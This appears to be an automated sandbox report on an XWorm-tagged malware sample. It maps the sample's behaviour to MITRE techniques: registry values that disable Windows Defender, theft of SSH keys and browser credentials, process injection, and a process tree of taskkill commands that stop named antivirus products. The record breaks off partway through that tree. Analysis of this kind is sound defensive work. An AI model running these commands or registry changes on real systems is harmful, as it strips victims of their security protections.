xworm | 2911a6d2b2306644cbb01d5d2d2f982e23fece8d6cfcad2feba1430b38733277

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	888Cry55pto_InstantBoot_Signed.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	888Cry55pto_InstantBoot_Signed.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	888Cry55pto_InstantBoot_Signed.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBlockAtFirstSeen = "1"	888Cry55pto_InstantBoot_Signed.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	888Cry55pto_InstantBoot_Signed.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	888Cry55pto_InstantBoot_Signed.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4612	powershell.exe
4040	powershell.exe
2092	powershell.exe
3120	powershell.exe
4508	powershell.exe
5220	powershell.exe
5988	powershell.exe
5196	powershell.exe
2508	powershell.exe
5960	powershell.exe
3052	powershell.exe
2516	powershell.exe
5860	powershell.exe
1800	powershell.exe
5744	powershell.exe
768	powershell.exe
5128	powershell.exe
5564	powershell.exe
4536	powershell.exe
5800	powershell.exe
4736	powershell.exe
432	powershell.exe
4416	powershell.exe
840	powershell.exe
720	powershell.exe
5624	powershell.exe
1060	powershell.exe
5148	powershell.exe
3988	powershell.exe
3068	powershell.exe
3252	powershell.exe
3932	powershell.exe
4488	powershell.exe
6048	powershell.exe
5232	powershell.exe
900	powershell.exe
3188	powershell.exe
3052	powershell.exe
4236	powershell.exe
1508	powershell.exe
2124	powershell.exe
6092	powershell.exe
4584	powershell.exe
5796	powershell.exe
720	powershell.exe
5800	powershell.exe
1764	powershell.exe
5208	powershell.exe
5776	powershell.exe
5504	powershell.exe
2092	powershell.exe
1996	powershell.exe
1436	powershell.exe
1296	powershell.exe
2112	powershell.exe
1032	powershell.exe
2988	powershell.exe
3492	powershell.exe
2796	powershell.exe
3772	powershell.exe
6044	powershell.exe
5028	powershell.exe
5016	powershell.exe
2468	powershell.exe

Executes dropped EXE 9 IoCs

pid	Process
5692	program1.exe
5696	program2.exe
2664	Black Wolf.exe
5676	Black Wolf.exe
4676	Black Wolf.exe
5700	Black Wolf.exe
5764	Black Wolf.exe
2800	Black Wolf.exe
1644	main.exe

Loads dropped DLL 64 IoCs

pid	Process
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5548	888Cry55pto_InstantBoot_Signed.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5692	program1.exe
5676	Black Wolf.exe
5676	Black Wolf.exe
5676	Black Wolf.exe
5676	Black Wolf.exe
5676	Black Wolf.exe
5700	Black Wolf.exe
2800	Black Wolf.exe
2800	Black Wolf.exe
2800	Black Wolf.exe
1644	main.exe
1644	main.exe
1644	main.exe
1644	main.exe
1644	main.exe
1644	main.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Hide Artifacts: Hidden Window 1 TTPs 64 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

Hidden Window

T1564.003

pid	Process
4988	cmd.exe
432	cmd.exe
1216	cmd.exe
5816	cmd.exe
2820	cmd.exe
4416	cmd.exe
920	cmd.exe
4952	cmd.exe
2900	cmd.exe
5348	cmd.exe
1072	cmd.exe
4688	cmd.exe
2220	cmd.exe
1444	cmd.exe
3320	cmd.exe
3668	cmd.exe
5644	cmd.exe
3152	cmd.exe
3020	cmd.exe
1080	cmd.exe
3812	cmd.exe
5316	cmd.exe
3032	cmd.exe
648	cmd.exe
3860	cmd.exe
2524	cmd.exe
704	cmd.exe
384	cmd.exe
5360	cmd.exe
5760	cmd.exe
236	cmd.exe
1992	cmd.exe
3228	cmd.exe
1248	cmd.exe
6136	cmd.exe
4524	cmd.exe
4884	cmd.exe
1212	cmd.exe
956	cmd.exe
3828	cmd.exe
1780	cmd.exe
5864	cmd.exe
5344	cmd.exe
5340	cmd.exe
5356	cmd.exe
1424	cmd.exe
4984	cmd.exe
4588	cmd.exe
4812	cmd.exe
6088	cmd.exe
1404	cmd.exe
3252	cmd.exe
5880	cmd.exe
4436	cmd.exe
804	cmd.exe
2508	cmd.exe
3460	cmd.exe
4536	cmd.exe
2848	cmd.exe
3008	cmd.exe
4464	cmd.exe
5232	cmd.exe
5300	cmd.exe
3960	cmd.exe

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	888Cry55pto_InstantBoot_Signed.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	888Cry55pto_InstantBoot_Signed.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	888Cry55pto_InstantBoot_Signed.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	888Cry55pto_InstantBoot_Signed.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5696 set thread context of 1680	5696	program2.exe	506

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

Ignore Process Interrupts

T1564.011

pid	Process
1648	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3348	cmd.exe
1168	cmd.exe
3736	cmd.exe
1312	cmd.exe
3804	cmd.exe
2972	cmd.exe
3656	cmd.exe
564	cmd.exe
4936	cmd.exe
3904	cmd.exe
244	cmd.exe
3924	cmd.exe
5192	cmd.exe
1808	cmd.exe
5652	cmd.exe
4120	cmd.exe
2532	cmd.exe
576	cmd.exe
2804	cmd.exe
2044	cmd.exe
2400	cmd.exe
5724	cmd.exe
6028	cmd.exe
2592	cmd.exe
2032	cmd.exe
4388	cmd.exe
3404	cmd.exe
2896	cmd.exe
1416	cmd.exe
6056	cmd.exe
3140	cmd.exe
5244	cmd.exe
5952	cmd.exe
1208	cmd.exe
5096	cmd.exe
5844	cmd.exe
1220	cmd.exe
4872	cmd.exe
4552	cmd.exe
5732	cmd.exe
240	cmd.exe
4232	cmd.exe
5912	cmd.exe
1692	cmd.exe
5648	cmd.exe
6076	cmd.exe
4664	cmd.exe
1952	cmd.exe
5276	cmd.exe
5940	cmd.exe
4328	cmd.exe
6012	cmd.exe
5332	cmd.exe
4480	cmd.exe
1796	cmd.exe
2964	cmd.exe
5972	cmd.exe
1820	cmd.exe
3992	cmd.exe
1844	cmd.exe
792	cmd.exe
2948	cmd.exe
5788	cmd.exe
3780	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	program1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	program2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Black Wolf.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Black Wolf.exe

Kills process with taskkill 64 IoCs

pid	Process
5760	taskkill.exe
4064	taskkill.exe
1600	taskkill.exe
5632	taskkill.exe
3252	taskkill.exe
5244	taskkill.exe
1580	taskkill.exe
3928	taskkill.exe
3220	taskkill.exe
2796	taskkill.exe
5008	taskkill.exe
4000	taskkill.exe
3800	taskkill.exe
1320	taskkill.exe
5720	taskkill.exe
3048	taskkill.exe
4712	taskkill.exe
2316	taskkill.exe
5576	taskkill.exe
2796	taskkill.exe
1308	taskkill.exe
1540	taskkill.exe
3220	taskkill.exe
6080	taskkill.exe
2316	taskkill.exe
5504	taskkill.exe
2572	taskkill.exe
4160	taskkill.exe
5876	taskkill.exe
5896	taskkill.exe
2412	taskkill.exe
5288	taskkill.exe
5712	taskkill.exe
5576	taskkill.exe
2848	taskkill.exe
4888	taskkill.exe
1808	taskkill.exe
3740	taskkill.exe
3152	taskkill.exe
5428	taskkill.exe
5272	taskkill.exe
5496	taskkill.exe
4556	taskkill.exe
3152	taskkill.exe
2980	taskkill.exe
5740	taskkill.exe
4404	taskkill.exe
5620	taskkill.exe
2752	taskkill.exe
4144	taskkill.exe
4812	taskkill.exe
5752	taskkill.exe
3104	taskkill.exe
5144	taskkill.exe
5560	taskkill.exe
2364	taskkill.exe
4728	taskkill.exe
3464	taskkill.exe
5876	taskkill.exe
3764	taskkill.exe
3480	taskkill.exe
688	taskkill.exe
5556	taskkill.exe
1552	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1680	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
916	powershell.exe
916	powershell.exe
4552	powershell.exe
4552	powershell.exe
3780	powershell.exe
3780	powershell.exe
3356	powershell.exe
3356	powershell.exe
1068	powershell.exe
1068	powershell.exe
2972	powershell.exe
2972	powershell.exe
5308	powershell.exe
5308	powershell.exe
2088	powershell.exe
2088	powershell.exe
2480	powershell.exe
2480	powershell.exe
2480	powershell.exe
2480	powershell.exe
2480	powershell.exe
3540	powershell.exe
3540	powershell.exe
556	powershell.exe
556	powershell.exe
2980	powershell.exe
2980	powershell.exe
3304	powershell.exe
3304	powershell.exe
1860	powershell.exe
1860	powershell.exe
4804	powershell.exe
4804	powershell.exe
3920	powershell.exe
3920	powershell.exe
5956	powershell.exe
5956	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe
2976	powershell.exe
2120	powershell.exe
2120	powershell.exe
4064	powershell.exe
4064	powershell.exe
3500	powershell.exe
3500	powershell.exe
2228	powershell.exe
2228	powershell.exe
5328	powershell.exe
5328	powershell.exe
5268	powershell.exe
5268	powershell.exe
5476	powershell.exe
5476	powershell.exe
328	powershell.exe
328	powershell.exe
1648	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4888	taskkill.exe
Token: SeDebugPrivilege	4812	taskkill.exe
Token: SeDebugPrivilege	5620	taskkill.exe
Token: SeDebugPrivilege	3760	taskkill.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeDebugPrivilege	1540	taskkill.exe
Token: SeDebugPrivilege	4160	taskkill.exe
Token: SeDebugPrivilege	5632	taskkill.exe
Token: SeDebugPrivilege	6080	taskkill.exe
Token: SeDebugPrivilege	3928	taskkill.exe
Token: SeDebugPrivilege	3740	taskkill.exe
Token: SeDebugPrivilege	4740	taskkill.exe
Token: SeDebugPrivilege	2364	taskkill.exe
Token: SeDebugPrivilege	3768	taskkill.exe
Token: SeDebugPrivilege	688	taskkill.exe
Token: SeDebugPrivilege	4784	taskkill.exe
Token: SeDebugPrivilege	3252	taskkill.exe
Token: SeDebugPrivilege	2412	taskkill.exe
Token: SeDebugPrivilege	3152	taskkill.exe
Token: SeDebugPrivilege	3348	taskkill.exe
Token: SeDebugPrivilege	3800	taskkill.exe
Token: SeDebugPrivilege	3784	taskkill.exe
Token: SeDebugPrivilege	2796	taskkill.exe
Token: SeDebugPrivilege	5236	taskkill.exe
Token: SeDebugPrivilege	5288	taskkill.exe
Token: SeDebugPrivilege	5244	taskkill.exe
Token: SeDebugPrivilege	5476	taskkill.exe
Token: SeDebugPrivilege	5576	taskkill.exe
Token: SeDebugPrivilege	5604	taskkill.exe
Token: SeDebugPrivilege	4668	taskkill.exe
Token: SeDebugPrivilege	1580	taskkill.exe
Token: SeDebugPrivilege	3124	taskkill.exe
Token: SeDebugPrivilege	5728	taskkill.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	4728	taskkill.exe
Token: SeDebugPrivilege	1320	taskkill.exe
Token: SeDebugPrivilege	5928	taskkill.exe
Token: SeDebugPrivilege	3928	taskkill.exe
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	5308	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	5556	taskkill.exe
Token: SeDebugPrivilege	2256	taskkill.exe
Token: SeDebugPrivilege	5968	taskkill.exe
Token: SeDebugPrivilege	5720	taskkill.exe
Token: SeDebugPrivilege	2752	taskkill.exe
Token: SeDebugPrivilege	564	taskkill.exe
Token: SeDebugPrivilege	5752	taskkill.exe
Token: SeDebugPrivilege	5660	taskkill.exe
Token: SeDebugPrivilege	3464	taskkill.exe
Token: SeDebugPrivilege	1820	taskkill.exe
Token: SeDebugPrivilege	3048	taskkill.exe
Token: SeDebugPrivilege	3220	taskkill.exe
Token: SeDebugPrivilege	2316	taskkill.exe
Token: SeDebugPrivilege	4712	taskkill.exe
Token: SeDebugPrivilege	556	taskkill.exe
Token: SeDebugPrivilege	3104	taskkill.exe
Token: SeDebugPrivilege	3916	taskkill.exe
Token: SeDebugPrivilege	1932	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1680	RegSvcs.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 5548	1576	888Cry55pto_InstantBoot_Signed.exe	79
PID 5548 wrote to memory of 240	5548	888Cry55pto_InstantBoot_Signed.exe	81
PID 240 wrote to memory of 4888	240	cmd.exe	83
PID 5548 wrote to memory of 6056	5548	888Cry55pto_InstantBoot_Signed.exe	84
PID 6056 wrote to memory of 4812	6056	cmd.exe	86
PID 5548 wrote to memory of 4232	5548	888Cry55pto_InstantBoot_Signed.exe	87
PID 4232 wrote to memory of 5620	4232	cmd.exe	89
PID 5548 wrote to memory of 4560	5548	888Cry55pto_InstantBoot_Signed.exe	90
PID 4560 wrote to memory of 3760	4560	cmd.exe	92
PID 5548 wrote to memory of 3904	5548	888Cry55pto_InstantBoot_Signed.exe	93
PID 3904 wrote to memory of 1808	3904	cmd.exe	95
PID 5548 wrote to memory of 5828	5548	888Cry55pto_InstantBoot_Signed.exe	96
PID 5828 wrote to memory of 1540	5828	cmd.exe	98
PID 5548 wrote to memory of 5036	5548	888Cry55pto_InstantBoot_Signed.exe	99
PID 5036 wrote to memory of 4160	5036	cmd.exe	101
PID 5548 wrote to memory of 4480	5548	888Cry55pto_InstantBoot_Signed.exe	102
PID 4480 wrote to memory of 5632	4480	cmd.exe	104
PID 5548 wrote to memory of 5200	5548	888Cry55pto_InstantBoot_Signed.exe	105
PID 5200 wrote to memory of 6080	5200	cmd.exe	107
PID 5548 wrote to memory of 2576	5548	888Cry55pto_InstantBoot_Signed.exe	108
PID 2576 wrote to memory of 3928	2576	cmd.exe	110
PID 5548 wrote to memory of 4116	5548	888Cry55pto_InstantBoot_Signed.exe	111
PID 4116 wrote to memory of 3740	4116	cmd.exe	113
PID 5548 wrote to memory of 488	5548	888Cry55pto_InstantBoot_Signed.exe	114
PID 488 wrote to memory of 4740	488	cmd.exe	116
PID 5548 wrote to memory of 1312	5548	888Cry55pto_InstantBoot_Signed.exe	117
PID 1312 wrote to memory of 2364	1312	cmd.exe	119
PID 5548 wrote to memory of 1040	5548	888Cry55pto_InstantBoot_Signed.exe	120
PID 1040 wrote to memory of 3768	1040	cmd.exe	122
PID 5548 wrote to memory of 576	5548	888Cry55pto_InstantBoot_Signed.exe	123
PID 576 wrote to memory of 688	576	cmd.exe	125
PID 5548 wrote to memory of 1088	5548	888Cry55pto_InstantBoot_Signed.exe	126
PID 1088 wrote to memory of 4784	1088	cmd.exe	128
PID 5548 wrote to memory of 3140	5548	888Cry55pto_InstantBoot_Signed.exe	129
PID 3140 wrote to memory of 3252	3140	cmd.exe	131
PID 5548 wrote to memory of 1584	5548	888Cry55pto_InstantBoot_Signed.exe	132
PID 1584 wrote to memory of 2412	1584	cmd.exe	134
PID 5548 wrote to memory of 2716	5548	888Cry55pto_InstantBoot_Signed.exe	135
PID 2716 wrote to memory of 3152	2716	cmd.exe	137
PID 5548 wrote to memory of 2400	5548	888Cry55pto_InstantBoot_Signed.exe	138
PID 2400 wrote to memory of 3348	2400	cmd.exe	140
PID 5548 wrote to memory of 5104	5548	888Cry55pto_InstantBoot_Signed.exe	141
PID 5104 wrote to memory of 3800	5104	cmd.exe	143
PID 5548 wrote to memory of 4956	5548	888Cry55pto_InstantBoot_Signed.exe	144
PID 4956 wrote to memory of 3784	4956	cmd.exe	146
PID 5548 wrote to memory of 792	5548	888Cry55pto_InstantBoot_Signed.exe	147
PID 792 wrote to memory of 2796	792	cmd.exe	149
PID 5548 wrote to memory of 2948	5548	888Cry55pto_InstantBoot_Signed.exe	150
PID 2948 wrote to memory of 5236	2948	cmd.exe	152
PID 5548 wrote to memory of 5372	5548	888Cry55pto_InstantBoot_Signed.exe	153
PID 5372 wrote to memory of 5288	5372	cmd.exe	155
PID 5548 wrote to memory of 5332	5548	888Cry55pto_InstantBoot_Signed.exe	156
PID 5332 wrote to memory of 5244	5332	cmd.exe	158
PID 5548 wrote to memory of 5484	5548	888Cry55pto_InstantBoot_Signed.exe	159
PID 5484 wrote to memory of 5476	5484	cmd.exe	161
PID 5548 wrote to memory of 5580	5548	888Cry55pto_InstantBoot_Signed.exe	162
PID 5580 wrote to memory of 5576	5580	cmd.exe	164
PID 5548 wrote to memory of 5532	5548	888Cry55pto_InstantBoot_Signed.exe	165
PID 5532 wrote to memory of 5604	5532	cmd.exe	167
PID 5548 wrote to memory of 4460	5548	888Cry55pto_InstantBoot_Signed.exe	168
PID 4460 wrote to memory of 4668	4460	cmd.exe	170
PID 5548 wrote to memory of 4344	5548	888Cry55pto_InstantBoot_Signed.exe	171
PID 4344 wrote to memory of 1580	4344	cmd.exe	173
PID 5548 wrote to memory of 4872	5548	888Cry55pto_InstantBoot_Signed.exe	174

C:\Users\Admin\AppData\Local\Temp\888Cry55pto_InstantBoot_Signed.exe
"C:\Users\Admin\AppData\Local\Temp\888Cry55pto_InstantBoot_Signed.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Users\Admin\AppData\Local\Temp\888Cry55pto_InstantBoot_Signed.exe
  "C:\Users\Admin\AppData\Local\Temp\888Cry55pto_InstantBoot_Signed.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Modifies security service
  - Loads dropped DLL
  - Modifies Security services
  - Suspicious use of WriteProcessMemory
  PID:5548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:240
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6056
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3904
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5828
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5200
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:488
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:576
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1088
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3140
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1584
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3152
- - C:\Windows\system32\cmd.exe
